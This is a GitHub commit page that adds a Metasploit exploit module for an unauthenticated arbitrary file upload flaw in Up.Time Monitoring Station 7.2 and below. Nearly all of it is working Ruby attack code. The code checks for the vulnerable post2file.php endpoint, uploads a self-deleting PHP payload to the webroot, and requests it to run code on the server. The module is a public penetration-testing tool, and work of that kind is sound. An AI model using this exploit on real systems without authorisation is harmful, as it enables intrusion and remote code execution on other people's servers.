Skip to content

Commit f77784c

Browse files
committed
Land rapid7#2723, @denandz's module for OSVDB-100423
2 parents 6f02744 + 3ed293a commit f77784c

File tree

1 file changed

+99
-0
lines changed

1 file changed

+99
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::PhpEXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
18+
'Description' => %q{
19+
This module exploits an arbitrary file upload vulnerability found within the Up.Time
20+
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
21+
webroot without authentication, leading to arbitrary code execution.
22+
},
23+
'Author' =>
24+
[
25+
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'OSVDB', '100423' ],
31+
[ 'BID', '64031'],
32+
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
33+
],
34+
'Payload' =>
35+
{
36+
'Space' => 10000, # just a big enough number to fit any PHP payload
37+
'DisableNops' => true
38+
},
39+
'Platform' => 'php',
40+
'Arch' => ARCH_PHP,
41+
'Targets' =>
42+
[
43+
[ 'Up.Time 7.2', { } ],
44+
],
45+
'DefaultTarget' => 0,
46+
'DisclosureDate' => 'Nov 19 2013'))
47+
48+
register_options([
49+
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
50+
Opt::RPORT(9999)
51+
], self.class)
52+
end
53+
54+
def check
55+
uri = target_uri.path
56+
57+
res = send_request_cgi({
58+
'method' => 'POST',
59+
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
60+
})
61+
62+
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
63+
return Exploit::CheckCode::Appears
64+
end
65+
66+
return Exploit::CheckCode::Unknown
67+
68+
end
69+
70+
def exploit
71+
print_status("#{peer} - Uploading PHP to Up.Time server")
72+
uri = target_uri.path
73+
74+
@payload_name = "#{rand_text_alpha(5)}.php"
75+
php_payload = get_write_exec_payload(:unlink_self => true)
76+
77+
post_data = ({
78+
"file_name" => @payload_name,
79+
"script" => php_payload
80+
})
81+
82+
print_status("#{peer} - Uploading payload #{@payload_name}")
83+
res = send_request_cgi({
84+
'method' => 'POST',
85+
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
86+
'vars_post' => post_data,
87+
})
88+
89+
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
90+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
91+
end
92+
93+
print_status("#{peer} - Executing payload #{@payload_name}")
94+
res = send_request_cgi({
95+
'uri' => normalize_uri(uri, 'wizards', @payload_name),
96+
'method' => 'GET'
97+
})
98+
end
99+
end

0 commit comments

Comments
 (0)